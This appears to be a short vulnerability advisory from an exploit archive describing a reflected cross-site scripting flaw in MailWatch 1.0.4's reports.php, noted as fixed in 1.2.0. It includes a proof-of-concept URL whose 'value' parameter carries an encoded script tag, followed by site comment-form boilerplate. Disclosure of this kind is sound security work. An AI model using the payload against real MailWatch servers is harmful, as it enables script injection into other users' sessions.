MailWatch 1.0.4 - Cross Site Scripting

2018.12.10

Gionathan Reale (DK)

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: MailWatch 1.0.4 - Cross Site Scripting
# Author: Gionathan "John" Reale
# Discovey Date: 2018-12-10
# Homepage: https://mailwatch.org/
# Tested Version: 1.0.4
# Tested on OS: Windows 7 32-bit

Reflected XSS in 'reports.php'.

===================================================================================================================


http://xxxxxxx.xxx/mailscanner/reports.php?column=date&operator=%3D&value=%3Cscript%3Ealert%28%221%22%29%3C%2Fscript%3E&action=Add&save_as=&filter=_none_
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Note:

Fixed in 1.2.0

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

MailWatch 1.0.4 - Cross Site Scripting

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.